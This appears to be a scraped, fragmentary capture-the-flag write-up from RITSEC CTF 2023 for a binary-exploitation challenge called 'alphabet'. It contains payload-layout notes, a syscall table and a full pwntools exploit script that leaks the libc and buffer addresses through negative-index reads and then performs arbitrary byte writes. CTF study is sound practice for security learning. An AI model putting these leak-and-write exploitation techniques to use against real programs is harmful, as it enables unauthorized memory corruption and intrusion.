Project Sekai
🔒 RITSEC CTF 2023 / ✅-bin-pwn-alphabet
1 1
1
1[`Z\x08`] [ `a index`] [ `b index`] [ `rest` ]
2 bytes 8 bytes 8 bytes 
- read
- write
- open
- mmap
- munmap
- brk
- mprotect
- newfstatat
- openat 
1flag.txt into the globals and using open read write to do something 1
1
1id: 2
Name: open
rax: 0x02
rdi: const char *filename
rsi: int flags
rdx: umode_t mode
r10: -
r8: -
r9: -
Definition: fs/open.c
#!/usr/bin/python3
from pwn import *
import struct
# _IO_file_overflow+259
LEAK_OFFSET = 0x8cf43
elf = ELF("alphabet.bin")
libc = ELF("libc.so.6")
content = open("libc.so.6", "rb").read()
libc_offsets = {i: content.index(i) for i in range(256)}
p = process(elf.path)
def write_byte(byte: int, offset: int):
what_addr = libc.address + libc_offsets[byte]
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + (buff_addr - what_addr)))
b = struct.pack("q", -(18 + 0x1000 - offset))
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
# attach(p); input()
#
# leak libc base
#
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + 29*8))
b = struct.pack("q", 0)
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
p.recvline()
leak = u64(p.recvline().split(b": ", 1)[1].strip().ljust(8, b"\x00"))
libc.address = leak - LEAK_OFFSET
p.info(f"libc base @ {libc.address:#x}")
#
# leak buffer address
#
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + 2*8))
b = struct.pack("q", 0)
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
p.recvline()
buff_addr = u64(p.recvline().split(b": ", 1)[1].strip().ljust(8, b"\x00"))
p.info(f"controlled buffer @ {buff_addr:#x}")
#
# arbitrary write
#
for i, c in enumerate(b"MAGICSTRING"):
write_byte(c, i)
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + 0x1000))
b = struct.pack("q", 0)
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
p.recvline()
print(p.recvline())
p.interactive() 
\n 
1
. 2
1
1 2gets: 0x7fb7c4c805a0
fgets: 0x7fb7c4c7f400 1 1while :; python3 xpl.py; done and wait 
0x0a 
1leave; ret moves the stack downwards more? 1 1 1